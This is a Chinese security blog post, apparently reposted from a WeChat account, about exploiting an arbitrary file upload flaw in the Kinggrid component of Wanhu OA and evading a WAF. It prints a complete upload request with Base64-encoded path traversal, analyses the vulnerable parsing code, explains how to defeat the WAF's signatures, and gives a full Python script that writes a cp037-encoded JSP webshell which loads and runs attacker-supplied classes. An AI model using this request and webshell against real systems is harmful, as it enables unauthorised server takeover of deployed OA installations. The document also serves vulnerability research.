免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责。
|
大家可以把安全绘景设为星标,这样就可以及时看到我们最新发布内容啦!
前言
之前一次比赛中内网遇到万户OA存在金格文件上传漏洞,但是内网有设备拦截了数据包这里分享下当时如何绕过WAF最终获取服务器权限。
WAF拦截点
金格数据包自带Bypass功能,因为这里filename
和../
被Base64不在需要绕这两部分。最开始直接尝试了脏数据,一般WAF遇到大数据包直接放行,但是这里还是被Done
掉了,然后删删减减最后发现拦截DBSTEP V3.0
和文件内容
主要文件内容太明文了不拦截都对不起这个WAF。
金格上传数据包:
POST /defaultroot/officeserverservlet HTTP/1.1
Host: xxxxxxxx
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 695
DBSTEP V3.0 97 0 10 DBSTEP=REJTVEVQ
OPTION=U0FWRUFTSFRNTA==
HTMLNAME=Li4vcHVibGljL2VkaXQvZXdlYmUuanNw
DIRECTORY=
1111111111
金格任意文件上传代码分析
当为POST请求的时候,通过MsgObj.Load(request)
加载当前请求,跟进去看。
首先获取请求的编码,如果请求编码为空就是设置编码格式为GB2312
,随后调用_$1027()
方法把request
对象传入进去,继续跟进。
首先通过request.getInputStream()
获取整个POST数据(也就是之前金格数据)赋值给mRead
对象,然后从mRead
流中取了HeadSize
长度为64
的字节数组保存在HeadString
中。目前为止HeadString
的值为POST数据包的前64个字符。接着在截取HeadString
前16个字符赋给了this._$906
,截取HeadString
的16-31个字符赋给了BodySize
,截取HeadString
的32-47个字符赋给了ErrorSize
,截取HeadString
的48-63个字符赋给了this._$907
而this._$907
是后续传入文件内容的长度。估计看到这里就有点绕了,给个数据包具体说明下就清楚了。
this._$906
为截取前16个字符: DBSTEP V3.0
(注意这里V3.0后有5个空格)
BodySize
为16-31个字符: 97
ErrorSize
为32-47个字符:0
this._$907
为48-63个字符: 10
DBSTEP V3.0 97 0 10 DBSTEP=REJTVEVQ
OPTION=U0FWRUFTSFRNTA==
HTMLNAME=Li4vcHVibGljL2VkaXQvZXdlYmUuanNw
DIRECTORY=
1111111111
这里BodySize
为97
进入if语句,这里从mRead
数据流读取长度为97的字符串。
也就是框的这一部分包含了rn
,但是这里字符串长度计算是少4个r
,加上4个长度就对了。因此this._$904
的值为框的这一部分。
接着判断是否加密,这里默认为false
,然后创建一个临时文件,文件名是this._$903
写入的文件内容为this._$907
长度为10
也就是1234567891
这里判断MsgObj.GetMsgByName(“DBSTEP”)
的值是否等于DBSTEP
跟进GetMsgByName()
方法
这里首先将传入进来的 FieldName
去除rn
并连接上=
赋值给 mFieldName
。然后在 $_904
中查找以 =
开头的子串的位置。如果找到,进一步查找该子串后的rn
的位置,提取字段值,然后调用DecodeBase64()
方法进行解码,最后返回解码后的结果;如果未找到相应字段,返回空字符串。
跟进DecodeBase64()
方法发现不是变种的,所以这里直接就是将参数值进行base64编码一次就行。
然后判断OPTION
的值解码后是否为SAVEFILE
当OPTION=U0FWRUFTSFRNTA==
就把Filename
和mtpFileSavePath
进行拼接导致这里可以通过 ../
进行越级传到任意目录。跟进checkFile(mtpFileSavePath + this.mFileNam)
方法,这里判断传入的路径是否存在,然后替换反斜杠为正斜杠,如果不存在则创建目录,最后把之前金格临时文件this._$903
的内容写到mtpFileSavePath + this.mFileNam
路径实现任意文件上传。
金格特征绕过
综合上面整个分析 DBSTEP V3.0
一直没有起作用只是必须有值占位,因此可以这里的 DBSTEP V3.0
换成11111111111111
也可以上传成功。
BodySize
的97
是这指段数据,97
数字可控那么我们就可以在这里进行添加脏数据来绕这一部分。
DBSTEP=REJTVEVQ
OPTION=U0FWRUFTSFRNTA==
HTMLNAME=Ly4uL3VwbG9hZC90ZXN0MTExMTEuanNw
DIRECTORY=
例如:如下这张图,其实到这里已经绕过来WAF对金格组件特征识别,但是文件内容还是没有绕过。
文件内容绕过
通过之前对代码的分析发现文件内容没办法处理只能硬刚,这里尝试了几种办法都没有成功,最后靠cp037
编码绕过。
之前尝试如下:
Unicode编码: [x]
jspx命名空间绕过 [x]
文件内容脏数据绕过 [x]
各种奇怪的马: [x]
cp037编码绕过 [✓]
直接借用安全之路漫漫 写好的脚本生存一个经过cp037
编码后的马。
#python2
data = '''<?xml version="1.0" encoding="cp037"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:declaration>
class PERFORM extends ClassLoader {
PERFORM(ClassLoader c) { super(c);}
public Class bookkeeping(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] branch(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
</jsp:declaration>
<jsp:scriptlet>
String cls = request.getParameter("xxoo");
if (cls != null) {
new PERFORM(this.getClass().getClassLoader()).bookkeeping(branch(cls)).newInstance().equals(new Object[]{request,response});
}
</jsp:scriptlet>
</jsp:root>'''
fcp037.write(data.encode('cp037'))
经过cp037
编码后文件内容,直接打开已经看不出来了。
实操Bypass WAF
由于这是之前比赛中遇到了,这里就拿本地环境来复现之前步骤。
注意:Burp最好开启显示换行符
目前还需注意两个问题:
-
文件内容长度
-
文件内容完整型
把DIRECTORY
后面的rn
先删除掉。
非常注意这个值:多读和少读都会影响文件内容导致无法解析成功
读取文件长度为1436
。
最后大概脚本如下:
参考
https://xz.aliyun.com/t/11607
https://flowerwind.github.io/2022/09/05/%E5%85%B3%E4%BA%8E%E9%87%91%E6%A0%BC%E7%BB%84%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%BB%95waf%E7%9A%84tips/
原文始发于微信公众号(安全绘景):金格组件上传BypassWAF
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论